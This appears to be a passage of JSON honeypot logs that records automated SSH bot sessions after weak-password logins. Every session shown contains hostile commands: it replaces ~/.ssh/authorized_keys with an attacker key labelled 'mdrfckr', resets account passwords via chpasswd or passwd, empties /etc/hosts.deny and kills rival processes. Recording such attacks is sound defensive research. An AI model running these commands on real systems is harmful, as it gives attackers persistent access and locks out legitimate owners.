7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:52.839916+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:53.332163+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:54.078252+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:54.561673+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:55.312786+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:56.105199+00:00","kind":"output","latency_ms":null,"data":"harsh"},{"seq":29,"at":"2026-08-27T12:39:56.851993+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:58.029517+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:39:58.780725+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:39:59.699516+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"harsh","password":"harsh@123","method":"password","accepted":true,"tier":"other"}]} {"id":"39da07dd-fb38-4fce-a527-19f9da5cd42c","name":"snowy-lawful-armadillo","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":46688,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:39:56.552160+00:00","ended_at":"2026-08-27T12:39:58.483014+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:39:39.555166+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:39.849103+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:42.837811+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:43.365229+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:43.659442+00:00","kind":"input","latency_ms":null,"data":"echo \"root:y9ESUcpyFReL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:39:43.954890+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:39:44.249468+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:44.840229+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:45.136553+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:46.295844+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:46.590755+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:47.943258+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:48.240900+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:48.941100+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:49.235838+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:50.124336+00:00","kind":"output","latency_ms":null,"data":" 12:39:50 up 7 days, 9:29, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:50.421320+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:51.132838+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:51.429901+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:51.858547+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:52.155515+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:52.689268+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:52 up 7 days, 9:29, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:52.976104+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:53.428389+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:53.728068+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:54.052840+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:54.348081+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:54.709285+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:39:55.005171+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:56.256034+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:39:56.553043+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:39:58.392659+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc#2025","method":"password","accepted":true,"tier":"other"}]} {"id":"561a1baf-10b5-495f-9d07-ff7f1129e21d","name":"seaward-twilight-alpaca","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47306,"username":"xie","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:39:55.682275+00:00","ended_at":"2026-08-27T12:39:56.861549+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:39:36.529301+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:39:36.857634+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:39:41.559893+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:39:42.167200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:39:42.494706+00:00","kind":"input","latency_ms":null,"data":"echo -e \"xie123\\nhArcHWPmpKqb\\nhArcHWPmpKqb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:39:42.824708+00:00","kind":"input","latency_ms":null,"data":"echo \"xie123\\nhArcHWPmpKqb\\nhArcHWPmpKqb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:39:43.150950+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:39:43.799125+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:39:44.125041+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:39:45.552027+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:39:46.192064+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:39:47.507188+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:39:47.834298+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:39:48.216535+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:39:48.549181+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:39:48.916830+00:00","kind":"output","latency_ms":null,"data":" 12:39:48 up 7 days, 9:29, 0 user, load average: 0.18, 0.16, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:39:49.244943+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:39:49.569467+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:39:49.897319+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:39:50.769167+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:39:51.096759+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:39:51.649351+00:00","kind":"output","latency_ms":null,"data":"top - 12:39:51 up 7 days, 9:29, 0 user, load average: 0.18, 0.16, 0.16\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:39:51.983492+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:39:52.801852+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:39:53.131337+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:39:53.415905+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:39:53.743256+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:39:54.149323+00:00","kind":"output","latency_ms":null,"data":"xie"},{"seq":29,"at":"2026-08-27T12:39:54.476130+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:39:55.355292+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:39:55.683154+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:39:56.765237+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"xie","password":"xie123","method":"password","accepted":true,"tier":"other"}]} {"id":"6dbcae5e-128a-47be-b4ba-4b55025af095","name":"fearless-early-pheasant","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":54184,"username":"inventory","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:37:52.731139+00:00","ended_at":"2026-08-27T12:37:54.330812+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-27T12:37:35.129162+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:37:35.421994+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:37:39.379554+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:37:39.980414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:37:40.275576+00:00","kind":"input","latency_ms":null,"data":"echo -e \"inventory\\nSj5UrajmLrsR\\nSj5UrajmLrsR\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:37:40.570458+00:00","kind":"input","latency_ms":null,"data":"echo \"inventory\\nSj5UrajmLrsR\\nSj5UrajmLrsR\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:37:40.862217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:37:41.171007+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:37:41.465673+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:37:42.490557+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:37:42.786225+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:37:44.037390+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:37:44.332286+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:37:44.965026+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:37:45.258711+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:37:46.126200+00:00","kind":"output","latency_ms":null,"data":" 12:37:46 up 7 days, 9:27, 0 user, load average: 0.17, 0.2, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:37:46.419027+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:37:46.823516+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:37:47.115928+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:37:47.717649+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:37:48.010642+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:37:48.548212+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:48 up 7 days, 9:27, 0 user, load average: 0.17, 0.2, 0.19\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:37:48.842036+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:37:49.245404+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:37:49.538584+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:37:50.095907+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:37:50.391702+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:37:51.068864+00:00","kind":"output","latency_ms":null,"data":"inventory"},{"seq":29,"at":"2026-08-27T12:37:51.362263+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:37:52.436020+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:37:52.731895+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:37:54.244053+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"inventory","password":"inventory","method":"password","accepted":true,"tier":"other"}]} {"id":"3e59a2b6-5ca3-4b3c-a371-56c48ad903d9","name":"crisp-honest-quoll","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":59326,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:37:49.832818+00:00","ended_at":"2026-08-27T12:37:51.792145+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:37:32.133051+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:37:32.459345+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:37:35.493188+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:37:36.228200+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:37:36.555482+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Q7ddC8SAEW8q\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:37:36.887062+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:37:37.215605+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:37:37.775016+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:37:38.103136+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:37:39.416813+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:37:39.746099+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:37:40.976602+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:37:41.308480+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:37:41.908649+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:37:42.237802+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:37:42.729851+00:00","kind":"output","latency_ms":null,"data":" 12:37:42 up 7 days, 9:27, 0 user, load average: 0.18, 0.2, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:37:43.061734+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:37:43.332208+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:37:43.662733+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:37:44.274158+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:37:44.604135+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:37:45.157114+00:00","kind":"output","latency_ms":null,"data":"top - 12:37:45 up 7 days, 9:27, 0 user, load average: 0.18, 0.2, 0.17\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:37:45.486846+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:37:46.224556+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:37:46.553069+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:37:46.927843+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:37:47.255734+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:37:47.537218+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:37:47.867933+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:37:49.506540+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:37:49.833679+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:37:51.693571+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12345678aa","method":"password","accepted":true,"tier":"other"}]} {"id":"cbc3e03a-99ce-43c4-b6d9-9adcf2da4159","name":"scarlet-hardy-tanager","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59760,"username":"sendmail","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":442,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia 